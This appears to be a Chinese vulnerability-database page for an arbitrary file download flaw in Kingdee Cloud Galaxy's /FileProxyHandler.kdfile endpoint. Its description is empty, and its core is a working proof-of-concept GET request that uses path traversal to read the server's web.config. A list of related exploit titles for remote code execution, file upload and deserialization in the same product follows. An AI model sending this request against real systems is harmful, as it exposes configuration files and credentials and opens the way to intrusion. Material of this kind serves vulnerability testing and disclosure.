金蝶云星空 /FileProxyHandler.kdfile 路径存在任意文件下载

漏洞描述

PoC代码

GET /FileProxyHandler.kdfile?Area=0&F=..%2F..%2Fweb.config&Ope=SDL&Step=100000 HTTP/1.1

相关漏洞推荐

• POC jindie-yunxingkong-dynamicformservice-rce: 金蝶云星空DynamicFormService.CloseForm.common.kdsvc远程代码执行漏洞
• POC kindee-scpsupreghandler-fileupload: 金蝶云星空ScpSupRegHandler任意文件上传
• POC kingdee-cloud-user-deserialization-rce: 金蝶云星空 UserService 反序列化远程代码执行
• POC kingdee-commonfileserver-fileread: 金蝶云星空 CommonFileserver 任意文件读取漏洞
• POC kingdee-deserialization-rce: 金蝶云星空反序列化rce
• 金蝶云星空 /Kingdee.BOS.ServiceFacade.ServicesStub.InOutDataService.GetImportOutData.common.kdsvc 命令执行漏洞
• 金蝶云星空 BusinessDataService.BatchLoad.common.kdsvc 远程代码执行漏洞
• POC 金蝶云星空 /Kingdee.BOS.ServiceFacade.ServicesStub.AppDesigner.AppDesignerService.RecordCurDevCodeInfo.common.kdsvc 命令执行漏洞
• 金蝶云星空 /kingdee.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService.BatchLoad.common.kdsvc 代码执行漏洞
• 金蝶云星空 K3Cloud 存在反序列化漏洞
• 金蝶云星空 /Kingdee.BOS.ServiceFacade.ServicesStub.ServiceGateway.GetServiceUri.common.kdsvc 代码执行漏洞
• 金蝶云星空 /Kingdee.BOS.ServiceFacade.ServicesStub.User.UserService.SaveUserPassport.common.kdsvc 代码执行漏洞
• 金蝶云星空GetDataCenterList敏感信息泄露漏洞